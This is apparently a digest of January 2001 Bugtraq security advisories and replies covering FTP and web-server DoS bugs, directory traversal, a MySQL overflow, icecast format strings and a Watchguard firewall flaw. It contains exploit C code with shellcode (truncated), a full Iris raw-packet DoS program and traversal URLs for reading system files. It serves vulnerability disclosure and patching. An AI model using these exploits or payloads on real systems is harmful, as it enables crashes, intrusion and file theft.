def-2001-03: GoodTech Systems FTP Connection DoS

[Peter Gründl]

==
   Defcom Labs Advisory def-2001-03

 GoodTech Systems FTP Connection DoS

Author: Peter Gründl <[EMAIL PROTECTED]>
Release Date: 2001-01-22
==
=[Brief Description]=-
The GoodTech FTP server does not properly free ressources. This can
result in the FTP server either crashing or displaying its banner and
immediately disconnecting the user.

=[Affected Systems]=--
- GoodTech Systems FTP 3.0.1.2.1.0 (evaluation build)

--=[Detailed Description]=
Connecting approx. 2060-2080 times (one at a time) to the FTP server,
using sockets, can result in the server either crashing or refusing
to accept more connections. This appears to depend on the rate the
connections are received by the FTP server. A fast flood results in a
crash, whereas a slow flood results in the ftp banner being displayed
and an immediate disconnect.

---=[Workaround]=-
Obtain the latest build from the vendor: http://www.goodtechsys.com

-=[Vendor Response]=--
This issue was brought to the vendor's attention on the 11th of
January, 2001. A workaround was received from the vendor on the 12th
of January, 2001.

==
 This release was brought to you by Defcom Labs

   [EMAIL PROTECTED] www.defcom.com
==

Re: MySQL Overflow + exploit [ops..sent a broken exploit :P]

[Luis Miguel Ferreia Silva]

Sorry, here's the REAL exploit =)

Regardz, wC [Luis Miguel Silva]


/*



 Linux MySQL Exploit by Luis Miguel Silva [aka wC]

 [EMAIL PROTECTED]

 19/01/y2k+1



 Compile:



   gcc MySQLXploit.c -o MySQLX



 Run with:



   You can specify the offset for the exploit passing it as the 1st arg...



   Example: ./MySQLX 0 ---> this is the default offset :]



 Advisorie: 

 [from a bugtraq email]



 Hi,



 all versions of MySQL < 3.23.31 have a buffer-overflow which crashs the

 server and which seems to be exploitable (ie. 4141414 in eip)



 Problem :

 An attacker could gain mysqld privileges (gaining access to all the

 databases)



 Requirements :

 You need a valid login/password to exploit this



 Solution :

 Upgrade to 3.23.31



 Proof-of-concept code :

 None



 Credits :

 I'm not the discoverer of this bug

 The first public report was made by [EMAIL PROTECTED] via the MySQL

 mailing-list

 See the following mails for details



 Regards,

 Nicob



 Here the original post to the MySQL mailing-list :

 ==



 On Jan 12, Jo?o Gouveia wrote:

 > Hi,

 >

 > I believe i've found a problem in MySql. Here are some test's i've made in

 > 3.22.27 x86( also tested on v3.22.32 - latest stable, although i didn't

 > debug it, just tested to see if crashes ).Confirmed up to latest 3.23



 > On one terminal:

 > 

 > spike:/var/mysql # /sbin/init.d/mysql start

 > Starting service MySQL.

 > Starting mysqld daemon with databases from /var/mysql

 > done

 > spike:/var/mysql #

 >

 >

 > On the other terminal:

 > 

 > jroberto@spike:~ > mysql -p -e 'select a.'`perl -e'printf("A"x130)'`'.b'

 > Enter password:

 > (hanged..^C)

 > 

 >

 > On the first terminal i got:

 > 

 > spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault

 > nohup

 > $ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin

 > g "$@" >>$err_log 2>&1>

 > Number of processes running now: 0

 > mysqld restarted on  Fri Jan 12 07:10:54 WET 2001

 > mysqld daemon ended

 > 

 >

 > gdb shows the following:

 > 

 > (gdb) run

 > Starting program: /usr/sbin/mysqld

 > [New Thread 16897 (manager thread)]

 > [New Thread 16891 (initial thread)]

 > [New Thread 16898]

 > /usr/sbin/mysqld: ready for connections

 > [New Thread 16916]

 > [Switching to Thread 16916]

 >

 > Program received signal SIGSEGV, Segmentation fault.

 > 0x41414141 in ?? ()

 > (gdb) info all-registers

 > eax0x1  1

 > ecx0x68 104

 > edx0x8166947135686471

 > ebx0x41414141   1094795585

 > esp0xbf5ff408   0xbf5ff408

 > ebp0x41414141   0x41414141

 > esi0x41414141   1094795585

 > edi0x0  0

 > eip0x41414141   0x41414141

 > eflags 0x10246  66118

 > cs 0x23 35

 > ss 0x2b 43

 > ds 0x2b 43

 > es 0x2b 43

 > fs 0x0  0

 > gs 0x0  0

 > (gdb)

 > 

 >

 > looks like a tipical overflow to me.

 > Please reply asap, at least to tell me i'me not seeing things. :-)>

 > Best regards,

 >

 > Joao Gouveia aka Tharbad.

 >

 > [EMAIL PROTECTED]



 Here the reponse to a email I send today to the MySQL list :

 



 Sergei Golubchik (MySQL team) wrote :

 >

 > Hi!

 >

 > On Jan 18, Nicolas GREGOIRE wrote:

 > > Hi,

 > >

 > > Still not any info about the buffer-overflow discovered last week ?

 > > Shouldn't be fixed at the beginning of the week ?

 > >

 > > Please, dear MySQL team, give us info !!

 > >

 > > Regards,

 > > Nicob

 >

 > Fixed in latest release (3.23.31).

 >

 > Regards,

 > Sergei



 Here an part of the 3.23.30 to 3.23.31 diff :

 =



 +Changes in release 3.23.31

 +--

 +

 +   * Fixed security bug in something (please upgrade if you are using a

 + earlier MySQL 3.23 version).



 End of Advisorie



 Final Words: Yes..i'm still alive... [just a'sleep..]



 A big kiss to niness and hugs to all my friends...

 lucipher && all of the unsecurity.org crew...

 JFA and all of the AngelSP [pseudo :P]'crew...

 Ahmm...i just wave everybody :]



*/



#include 



#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 130

#define NOP 0x90



// Our EVIL code...

char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned

long get_sp(void) {

   __asm__("movl %esp,%eax");

}



// Where it all happens...

main(int argc, char *argv[])

{

 ch

def-2001-05: Netscape Fasttrack Server Caching DoS

[Peter Gründl]

==
   Defcom Labs Advisory def-2001-05

Netscape Fasttrack Server Caching DoS

Author: Peter Gründl <[EMAIL PROTECTED]>
Release Date: 2001-01-22
==
=[Brief Description]=-
The Fasttrack 4.1 server has problems with its caching module. The
problem can result in all the server memory being consumed and thus
causing the server to perform very sluggishly.

=[Affected Systems]=--
- Netscape Fasttrack Server 4.1 for Windows NT 4.0

--=[Detailed Description]=
The Fasttrack 4.1 server caches requests for non-existing URLs with
valid extensions (eg. .html). The cached ressources are not freed
again (at least not after half an hour), so a malicious user could
cause the web server to perform very sluggishly, simply by requesting
a lot of non-existing html-documents on the web server.

---=[Workaround]=-
None known.

-=[Vendor Response]=--
This issue was brought to the vendor's attention on the 7th of
December, 2000. Vendor replied that the Fasttrack server is not meant
for production environments and as that, the issue will not be fixed.

==
 This release was brought to you by Defcom Labs

   [EMAIL PROTECTED] www.defcom.com
==

Trustix Security Advisory - glibc

[Trustix Secure Linux Team]

Hi

Trustix is, like many other linux distributions, based on Glibc 2.1.3
and is therefore open to the "preload hole" discussed in various
postings to bugtraq and other lists.  This is a local security hole,
and all users of TSL should upgrade their boxes.

MD5sums:
1.2:
d69cb9bf4b4e2054eca741b66bea7efe  glibc-2.1.3-14tr.i586.rpm
89dc092c40a710f50461565ad77cd73b  glibc-devel-2.1.3-14tr.i586.rpm
f28b091857fa5819f89a5196d2cd9677  glibc-profile-2.1.3-14tr.i586.rpm
8bbd1a727271cda776377960fd5a5207  nscd-2.1.3-14tr.i586.rpm

1.1:
b3f6874ccafde9ed366eb0f1f91134eb  glibc-2.1.3-14tr.i586.rpm
3432382c84ec6ec850f8c1867b4a0662  glibc-devel-2.1.3-14tr.i586.rpm
a1118708c0420bc80ef62c0a9d10164b  glibc-profile-2.1.3-14tr.i586.rpm
5846041d401e3929cbe09119e22c573f  nscd-2.1.3-14tr.i586.rpm

1.0:
Use the 1.1 packages.

Packages can be downloaded from:
ftp://ftp.trustix.net/pub/Trustix/updates/
http://www.trustix.net/pub/Trustix/updates/

Or from one of our mirrors:
http://www.trustix.net/mirrors.php3

1.2 users who have installed the optional SWUP-package (from
ftp://ftp.trustix.com/pub/Trustix/software/swup/) can use
'swup --upgrade' to automatically download and install the new packages.

For a full update history of the 1.2 release, see:
ftp://ftp.trustix.com/pub/Trustix/updates/1.2/ChangeLog

Trustix Security Team

eEye Iris the Network traffic analyser DoS

[grazer]

Hi there,

There exists a vulnerability that will cause the iris network traffic analyser to hang.
I have included an exploit, that will demonstrate the bug, the exploit will send a 
packet to the remote host,
when the remote host opens the packet (to examine it) iris will quit, leaving an error 
message.

Sincerely yours,

Wouter ter Maat aka grazer
digit-labs information security
http://www.digit-labs.org



/* Denial of Service attack against :
 * Iris The Network Traffic Analyzer beta 1.01
 * 
 *
 * Will create an incorrect packet which will cause
 * Iris to hang when it is opened by a user.
 *
 * Vulnerability found by : [EMAIL PROTECTED]
 * Exploit code by : [EMAIL PROTECTED]
 *
 * Respect to the guys from eEye, for there fast
 * response.
 *
 * greetings to hit2000, hwa, synnergy, security.is
 *  digit-labs.
 *
 * ---> free sk8 <-
 *
 * 
 * http://www.digit-labs.org
 *   [EMAIL PROTECTED]
 * 
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int build_packet(int sfd, u_long srcaddr, u_long dstaddr);

struct pseudo {
u_long saddr;
u_long daddr;
u_char zero;
u_char protocol;
u_short length;
};

int main(int argc,char **argv){
int rawfd, check, one=1;

struct sockaddr_in raddr;
struct in_addr source_ip, desti_ip;
struct ip *ip;
struct tcphdr *tcp;

while (argc<3) {
fprintf(stderr, "\n\n[ IRIS DoS attack - by grazer ]");
fprintf(stderr, "\n %s localhost remotehost \n\n", argv[0] );  exit(0);}

fprintf(stderr, "\nStarting Iris DoS...\n");
if((check=gethostbyname(argv[2])==NULL)) {
fprintf(stderr, "\nCannot resolve host %s\n", argv[2]); exit(0); }

source_ip.s_addr= inet_addr(argv[1]);
desti_ip.s_addr =   inet_addr(argv[2]);

if ((rawfd=socket(PF_INET, SOCK_RAW, IPPROTO_TCP))<0) {
fprintf(stderr, "\n You need root for this..");
exit(0); }

setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, 1);

build_packet(rawfd,source_ip.s_addr, desti_ip.s_addr);

close(rawfd);
return 1; }


int build_packet(int sfd, u_long srcaddr,  u_long dstaddr) {

u_char packet[sizeof(struct ip) + sizeof(struct pseudo) + sizeof(struct tcphdr)];
struct sockaddr_in sin;
struct in_addr src_inaddr, dest_inaddr;
struct ip *ip = (struct ip *) packet;
struct pseudo *pseudo = (struct pseudo *) (packet + sizeof(struct ip));
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip)
+ sizeof(struct pseudo));

bzero(packet, sizeof(packet));
bzero(&sin,sizeof(sin));

src_inaddr.s_addr = srcaddr;
dest_inaddr.s_addr = dstaddr;

pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
pseudo->zero = 1;
pseudo->protocol=IPPROTO_TCP;
pseudo->length = htons(sizeof (struct tcphdr));

ip->ip_v = -1;
ip->ip_hl = -1;
ip->ip_id = -1;
ip->ip_src = src_inaddr;
ip->ip_dst = dest_inaddr;
ip->ip_p = IPPROTO_TCP;
ip->ip_ttl = 40;
ip->ip_off = -1;
ip->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
tcp->seq = htonl(rand());
tcp->ack = htonl(rand());

sin.sin_family=AF_INET;
sin.sin_addr.s_addr=dstaddr;
sendto(sfd,packet,sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *) &sin,sizeof(sin));

fprintf(stderr, "\n Packet send... \n\n" );

   return 1;}

Oracle JSP/SQLJSP handlers allow viewing files and executing JSP outside the web root

[Georgi Guninski]

Georgi Guninski security advisory #36, 2001

Oracle JSP/SQLJSP handlers allow viewing files and executing JSP outside the web root

Systems affected:
Oracle JSP/SQLJSP handlers, installed by default Oracle 8.1.7 Windows 2000
Have not tested on other versions but they may be vulnerable

Risk: High
Date: 22 January 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:
It is possible to view files outside the web root.
Also possible is execution of .JSP files outside the web root in the same partiotion as
the web server's root.


Details:
I guess there are at least 2 vulnerabilities with JSP/SQLJSP handlers.
Basically these are directory traversal vulnerabilities.
1) The following URL:
---
http://oraclehost/servlet//..//../o.jsp
---
will execute c:\o.jsp if there is such file.
As a side effect this shall create the directory C:\servlet\_pages\_servlet and shall 
put
in it the java source and .class file of o.jsp

2) The following URL:
-
http://oraclehost/a.jsp//..//..//..//..//..//../winnt/win.ini
-
shall read c:\winnt\win.ini. It is normal to receive an error to this request. To see 
the result
go to: http://oraclehost/_pages and look in the directories for .java files containing 
"win"

3) The following URL:
-
http://oraclehost/bb.sqljsp//..//..//..//..//..//../winnt/win.ini
-
shall read c:\winnt\win.ini. It is normal to receive an error to this request. To see 
the result
go to: http://oraclehost/_pages and look in the directories for .java files containing 
"win"

Note: all urls were tested with Netscape 4.76 or direct HTTP requests. Do not work 
with IE.


Vendor status:
Oracle was contacted on 18 January 2001.

Regards,
Georgi Guninski
http://www.guninski.com

LocalWEB2000 Directory Traversal Vulnerability

[SNS Research]

Strumpf Noir Society Advisories
! Public release !
<--#


-= LocalWEB2000 Directory Traversal Vulnerability =-

Release date: Friday, January 19, 2001


Introduction:

LocalWEB2000 is a HTTP server for the MS Windows suite of operating
systems. It's intended for use as an intranet server by small to
medium size companies.

LocalWEB2000 is availble from http://www.intranet-server.co.uk


Problem:

Adding the string "../" to an URL allows an attacker access to files
outside of the webserver's publishing directory. This allows read
access to any file on the server.

Example:

http://localhost:80/../../../autoexec.bat  reads the file
"autoexec.bat" from the partition's root dir (using default install).


(..)


Solution:

Vendor has been notified, the problem will be fixed in a future
release. This was tested against LocalWEB2000 v1.1.0.


yadayadayada

SNS Research is rfpolicy (http://www.wiretrip.net/rfp/policy.html)
compliant, all information is provided on AS IS basis.

EOF, but Strumpf Noir Society will return!

def-2001-04: Netscape Enterprise Server Dot-DoS

[Peter Gründl]

==
   Defcom Labs Advisory def-2001-04

 Netscape Enterprise Server Dot-DoS

Author: Peter Gründl <[EMAIL PROTECTED]>
Release Date: 2001-01-22
==
=[Brief Description]=-
The Netscape Enterprise Server 4.1, SP5 has a problem dealing with
dotdot-URLs. The problem can result in the service crashing.

=[Affected Systems]=--
- Netscape Enterprise Server 4.1, SP5 for Windows NT 4.0

--=[Detailed Description]=
If a GET request is performed which includes at least 1344 x /../, the
web service will crash. This goes for both the normal HTTP service and
the admin service. The crash has to be performed twice, since NES will
reestablish the service the first time it crashes.

---=[Workaround]=-
None known. We've only come across this bug on 4.1, SP5, but would not
rule out the possibility of it existing in other versions.

-=[Vendor Response]=--
This issue was brought to the vendor's attention on the 7th of
December, 2000. Vendor replied on the 22nd of January, 2001 and has
been unable to reproduce the bug:

"I've used their perl script to abuse an iWS4.1sp5 server. The server
does not crash, politetly returns errors to the client, and logs
errors.

However, given the announcement on the Iplanet Web site regarding iWS
stability I would recommend they upgrade to SP6, URL given below.

http://www.iplanet.com/support/iws-alert/index.html"

According to the URL supplied by Netscape, there is no SP6 for IWS4.1,
so it is adviced that people try this out for themselves to determine
if they are vulnerable. It was found on Windows NT 4.0, with SP6a.

==
 This release was brought to you by Defcom Labs

   [EMAIL PROTECTED] www.defcom.com
==

[pkc] format bugs in icecast 1.3.8b2 and prior

[cyrax]

/*  pkc004.txt  */

   -=[ SECURITY ADVISORY #004 ]=-

 _ ___
|  \  [www.pkcrew.org]   / \
 \ |   __  / ___ \
  ||  |__|  ___   |/ \___|
  |||  |   /  _|  |   |
  |___/ |  | /  / |   |
  |   / |   _ <   |   |   ___
  |   |[PkC]|  |  \ \ |\_/   |
 _|   |_   _|  |_   \ \_   \ |
|___| |__| ||\__/

   [ Packet Knights Crew ]

   -=[ SECURITY ADVISORY #004 ]=-



- Vulnerable program: icecast 1.3.8beta2 and prior
- Tested on: Linux/ix86 - icecast 1.3.7 (Slackware 7.0 - RedHat 7.0)

- Advisory author: |CyRaX| <[EMAIL PROTECTED]>
- Group: Packet Knights (http://www.pkcrew.org/)

- Date of release: 01/22/2000

- Problems: Format bugs

- Impact: Remote vulnerablity allows to execute arbitrary code with
the UID/GID of the user running icecast.

- Risk level: HIGH

- Exploit: Exploit for icecast 1.3.7 compiled on Slackware 7.0 and
   RedHat 7.0 attached

- Dedicated to : my right hand

- Greetings: all the bros of pkcrew expecially recidjvo, asynchro,
 cthulhu and fake
 all my friends of ircnet and suidnet exp. mav, mr^moon,
 smav, nobody88 ecc. ecc.

- Summary:
Icecast is a server for mp3 streaming. In file utils.c the
function fd_write is often used putting the string instead of
the format.
- Details:

Function print_client() in utility.c:


void
print_client(void *data, void *param)
{
[..]
sprintf (buf, "Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. 
User agent: [%s]. Type: %s\r\n",
con->id, con_host (con), nice_time (get_time () - con->connect_time,timebuf), 
client->write_bytes, client_errors (client),
get_user_agent (con), client->type == listener_e ? "listener"  : "relay");

if (!param)
fd_write(info.statsfile, buf); <- BUGGED
else
sock_write (*sock, "%s", buf);
}

   - Solution: Authors were contacted but they did'nt answered.

   I include here a patch for icecast-1.3.7/src/utility.c.
   This is just a temporary solution.


---utility.c.diff---

164c164
<   fd_write (info.statsfile,
---
>   fd_write (info.statsfile,"%s",
201c201
<   fd_write (info.statsfile, buf);
---
>   fd_write (info.statsfile,"%s", buf);
226c226
<   fd_write (info.statsfile, buf);
---
>   fd_write (info.statsfile,"%s", buf);
260c260
<   fd_write (info.statsfile, buf);
---
>   fd_write (info.statsfile,"%s", buf);
270c270
<   fd_write (info.statsfile, buf);
---
>   fd_write (info.statsfile, "%s",buf);
328c328
<   sprintf (buf, "Client %ld\t[%s] connected for %s, %lu bytes transfered. %d 
errors. User agent: [%s]. Type: %s\r\n",
---
>   snprintf (buf, BUFSIZE,"Client %ld\t[%s] connected for %s, %lu bytes 
>transfered. %d errors. User agent: [%s]. Type: %s\r\n",
333c333
<   fd_write(info.statsfile, buf);
---
>   fd_write(info.statsfile, "%s",buf);

--- END OF utility.c.diff ---

 just do a : patch utility.c utility.c.diff

   - exploitation: Well.. exploitation is not too simple. You cannot
 directly see the output of the fd_write. You have to eat more than
 2000 %x of stack to reach the format string. Anyway.. I coded an
 exploit that worked on my slackware 7.0 and redhat 7.0 . If you
 add targets you can send them to me at [EMAIL PROTECTED] .
 Cause icecast is a multithread server, it can give you problem on
 the port where we bind the shell. It sometimes write you the output
 of the admin console or other strange things. If a commands you do
 is not executed try to rewrite it some times. To resolve this problem
 you may want to change the shellcode to a add-user one.


--- PKCicecast-ex.c ---

/* Exploits format string vulnerability in icecast 1.3.7
 * Coded by |CyRaX| <[EMAIL PROTECTED]>
 * Packet Knights Crew http://www.pkcrew.org/
 *
*/




#include 
#include 
#include 
#include 

char code[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc

Security Update: security problems in webmin CSSA-2001-004.0

[Caldera Support Info]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

__
   Caldera Systems, Inc.  Security Advisory

Subject:security problems in webmin
Advisory number:CSSA-2001-004.0
Issue date: 2001 January, 17
Cross reference:
__


1. Problem Description

   On several occasions, webmin creates temporary files insecurely.
   This can be exploited by a local attacker to overwrite or
   create arbitrary files and possibly gain root privilege.

   There are no known exploits for this problem.

2. Vulnerable Versions

   System   Package
   ---
   OpenLinux Desktop 2.3not shipping with webmin

   OpenLinux eServer 2.3.1  All packages previous to
   and OpenLinux eBuilder   webmin-0.749-5

   OpenLinux eDesktop 2.4   All packages previous to
wemin-0.78-8

3. Solution

   Workaround:

 none

   The proper solution is to upgrade to the fixed packages.

4. OpenLinux eServer 2.3.1 and OpenLinux eBuilder for ECential 3.0

   4.1 Location of Fixed Packages

   The upgrade packages can be found on Caldera's FTP site at:

   ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/

   The corresponding source code package can be found at:

   ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS

   4.2 Verification

   9cf4e2041e6c6122f402199d09fcbffc  RPMS/webmin-0.749-5.i386.rpm
   4a1eaff7a80609ec19198aa815081f4b  SRPMS/webmin-0.749-5.src.rpm

   4.3 Installing Fixed Packages

   Upgrade the affected packages with the following commands:

  rpm -Fhv webmin-0.749-5.i386.rpm

5. OpenLinux eDesktop 2.4

   5.1 Location of Fixed Packages

   The upgrade packages can be found on Caldera's FTP site at:

   ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/

   The corresponding source code package can be found at:

   ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS

   5.2 Verification

   b6c8209aac511616367e8a6278e49c6d  RPMS/webmin-0.78-8.i386.rpm
   fb9ddf3279b007fa99f49e7aaf486f5b  SRPMS/webmin-0.78-8.src.rpm

   5.3 Installing Fixed Packages

   Upgrade the affected packages with the following commands:

  rpm -Fhv webmin-0.78-8.i386.rpm

6. References

   This and other Caldera security resources are located at:

   http://www.calderasystems.com/support/security/index.html

   This security fix closes Caldera's internal Problem Report 8732.

7. Disclaimer

   Caldera Systems, Inc. is not responsible for the misuse of any of the
   information we provide on this website and/or through our security
   advisories. Our advisories are a service to our customers intended to
   promote secure installation and use of Caldera OpenLinux.

__
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6ZarL18sy83A/qfwRApCGAJ9v/FkWzGVtASyI5Ldopk7ZCau4twCeLOxS
eUIie7kKyFMgJqLROaJflWE=
=rAVp
-END PGP SIGNATURE-

Multiple Vulnerabilities In FaSTream FTP++ (+ ICS Tftpserver DoS)

[SNS Research]

=-

Note: Be advised that below mentioned DoS can be traced back to
TFtpServer. This is a (beta-)component of the "Internet Component
Suite" for Delphi/C++ Builder, availble from http://www.overbyte.be.
Other products using this component could be vulnerable, its creator
has been notified. -- SNS Research

=-


Strumpf Noir Society Advisories
! Public release !
<--#


-= Multiple Vulnerabilities In FaSTream FTP++ =-

Release date: Friday, January 19, 2001


Introduction:

FaSTream FTP++ is a filesharing application for the different MS
Windows flavours.

FaSTream FTP++ is availble from vendor Fastream Technologies'
website: http://www.fastream.com


Problem(s):

FaSTream FTP++ DoS condition

FaSTream's embedded ftp-server can be flooded into unresponsiveness
by sending a request of 2048 bytes or greater size to it.

For example:

C:\>ftp victimserver
Connected to victimserver
220 Fastream FTP++ 2 Server Ready
User (victimserver:(none)): aa(2048 bytes)

After this the server will keep accepting connections but will respond
to no commands offered.


FaSTream FTP++ path disclosure/directory browsing

When the root-directory for the ftp-server is set, any user with
access to the ftp-server can not only list the path to this dir, but
can break out of it and produce listings of other directories and
drives on the same machine.

ftp> pwd
257 "/C:/FTPROOT/" is current directory.
ftp> ls c:/
200 Port command successful.
150 Opening data connection for directory list.

(listing of c:\)

226 File sent ok
ftp: xx bytes received in x.xx seconds xxKbytes/sec.

Same goes for ls d:/ for example.

Note:  FTP++ server is an entry level read-only server with no user
permissions (anonymous ftp). Users don't have any form of read/write
access to files outside the server-directory.


FaSTream FTP++ password protection

Altough the server part of FaSTream FTP++ features a password
protection option in its settings panel, the username/password
combinations, as are stored in the (unencrypted) servername.fpl-file,
have no relevance to the login-process. We've been told that the
commands "USER" and "PASS" are there just to maintain compatibility
with other ftp clients. FTP++ is not, nor is it intended to be an
industry-strenght ftp server.. obviously.


(..)


Solution:

Vendor has been notified and has uploaded FaSTream FTP++ Beta 10
Build 3 to its site, which fixes the path disclosure problem.
There is at this time no known fix for the DoS. This was tested
against FaSTream FTP++ 2 Beta 10 Build 2.


yadayadayada

SNS Research is rfpolicy (http://www.wiretrip.net/rfp/policy.html)
compliant, all information is provided on AS IS basis.

EOF, but Strumpf Noir Society will return!

Re: BugTraq: EFS Win 2000 flaw

[Russ]

To the best of my knowledge, Peter Guttman(sp?) has demonstrated for years
now that there is no form of over-writing which makes any substantial
difference to the ability to recover previously written data from a computer
hard disk.

My understanding of current "high security" standards wrt the re-use of
disks which previously contained classified materials is that they only be
re-used in similarly classified systems, or, are destroyed beyond any form
of molecular reconstruction (e.g. melted).

So to suggest that your perceived EFS flaw can be resolved by over-writing
is naive. The only solution is to encrypt in memory or use some removable
partition as the temp space.

Anyone know if PGPdisk works differently than EFS does?

Cheers,
Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor

Re: Solaris /usr/bin/cu Vulnerability

[Casper Dik]

>If i look at the output of find / -user uucp -xdev -ls on a freshly
>installed and patched solaris7, this seems enough for me to r00t
>the box.
># find / -user uucp -xdev -ls
>188616   55 -rws--x--x  1 uucp bin 56240 Jan  9 06:39 /usr/bin/tip
>1887418 -r-xr-xr-x  1 uucp uucp 8188 Sep  1  1998 /usr/bin/uudecode
>1887428 -r-xr-xr-x  1 uucp uucp 7224 Sep  1  1998 /usr/bin/uuencode
>1238410 -rw---  1 uucp bin 0 Jan 17 15:54 /var/adm/aculog
>3006611 drwxr-xr-x  2 uucp uucp  512 Jan 19 08:28 /var/spool/locks
>2767410 crw---  1 uucp uucp  29,131072 Jan 17 16:16 
>/devices/sbus@1f,0/zs@f,11
0:a,cu
>2767420 crw---  1 uucp uucp  29,131073 Jan 17 16:16 
>/devices/sbus@1f,0/zs@f,11
0:b,cu
>(the 2 devices are /dev/term/a and /dev/term/b ...)

In Solaris 8 we have changed the ownership of the binaries to root,
except those that are set-uid uucp.

Uucp configuration and tip are still uucp owned.


Casper

Re: ICMP fragmentation required but DF set problems.

[Pavel Kankovsky]

On Mon, 15 Jan 2001, antirez wrote:

>   It's possible to slowdown (a lot) connections between two
>   arbirary hosts (but at least one with the PMTU discovery enabled)
>   using some spoofed TCP/IP packet. Maybe you can do more
>   against some TCP/IP stack.
...
>   There isn't a clear solution.

PMTU discovery is used by TCP (primarily if not exclusively). Isn't it
possible to 1. check TCP sequence numbers in ICMP frag. needed messages
generated as a response to a TCP datagram (in the same way they should be
checked on any ICMP dest. unreachable to prevent a trivial DoS),
2. disregard any other ICMP frag. needed message?

--Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]
"Resistance is futile. Open your source code and prepare for assimilation."

Watchguard Firewall Elevated Privilege Vulnerability

[Philip J Lewis]

I have found that the embedded Linux-based Watchguard Firebox II
Firewall product range is vulnerable to read-write access using only a
read-only passphrase. This gives a read-only user the ability to make
changes to the firewall remotely without either authorization or a
read-write passphrase. The risk is remote firewall compromise.


Firewalls at Risk
-
Platforms tested (other Watchguard firewalls may also be vulnerable):
Watchguard FireboxII
Watchguard FireboxII+
Watchguard FireboxII Fast VPN

Firmware Versions (previous versions, including MSS, may also be
vulnerable):
LSS version 4.0 until 4.5 inclusive.


Exploit Method
--
The method of exploit involves the using the supplied watchguard
configuration tools/libraries and using their library functions to make
an SSL connection to the firebox via TCP/IP. You must authenticate using
the read-only passphrase and issue the MPF command (Watchguard's
proprietary firewall software, 'Mazama Packet Filter') to get a binary
file from the flash filesystem on the firebox. Retrieve the file called
'/var/lib/mpf/keys.gz'. This contains the hashed read-only and
read-write passphrases in gziped format. It is not important to decrypt
these keys as these are sent to the firebox in exactly this hashed
format when authenticating an SSL connection anyway.
This read-write hashed passphrase can then be used with the MPF library
to authenticate and write files to that particular firewall such as a
modified configuration or issue commands to reboot the firewall.


Suggested Fix
-
To minimize the risk of such an attack Watchguard Firewall
administrators should make sure that they do not use a 'weak' read-only
password and that the configuration port rule on the firewall will only
allow incoming connections from trusted IPs/users. Apply the vendor
hotfix below.


Vendor Hotfix
-
The vendor promptly responded with a Hotfix (attached below). It can be
downloaded by registered Live Security System subscribers from:

https://www.watchguard.com/esupport.htm

The patch is called: 'Hotfix 010107'


Philip J. Lewis
Networking Consultant, Secure Networking Ltd.
Tel: +44 (0) 7887 955 981, Fax: +44 (0) 1189 841 957
PGP keyid: 0x1A8C0AFA (http://pgp.mit.edu)





--- Vendor Advisory --
From: [EMAIL PROTECTED]
Date: Thu, 18 Jan 2001 18:35:20 Pacific Standard Time
Subject: New Alert from LiveSecurity

WatchGuard LiveSecurity System

A new Threat Response is available on your LiveSecurity Service.  To
download this Threat Response, log in to your LiveSecurity Service and
click on the appropriate download link in the LiveSecurity System
Software section.


===
Installation Instructions: Please print these instructions for
reference.

Hotfix 010107 Release Notes

Overview
This Threat Response addresses a security vulnerability for the
WatchGuard Firebox by preventing access to insecure files within the
Firebox itself. It contains WatchGuard Hotfix 010107. This Hotfix does
not include the components from previous Hotfixes. You should install
all previous Hotfixes before you install Hotfix 010107.

If you have any questions regarding this installation, please contact
WatchGuard Technical Support at +206.521.8375 or via the Web at
.

Contents of this Hotfix
This Hotfix provides more stringent protection against insecure file
access on the Firebox. Installing this modification gives the Firebox
a much more robust defense against certain file access-related
activities aimed at a privilege elevation attack. This Hotfix secures
certain restricted files (not required by the user for proper
operation of the Firebox) to increase stability and decrease the
opportunity for a potential attack.

WatchGuard wishes to acknowledge and thank Philip J. Lewis of Secure
Networking Limited for his assistance in the development of this
Hotfix.

Before installing this software, please read the installation
instructions and release notes located in this file.

Installation and Initialization
1. Double Click on the Hotfix010107 file for your version of
WatchGuard software:

For LSS v4.1 SP4 -- Hotfix010107LSS41.wls
For LSS v4.5 --  Hotfix010107LSS45.wls

2. Run the downloaded executable file and follow the installation
instructions.

Re: Bug in SSH1 secure-RPC support can expose users' private keys

[Richard E. Silverman]

-BEGIN PGP SIGNED MESSAGE-
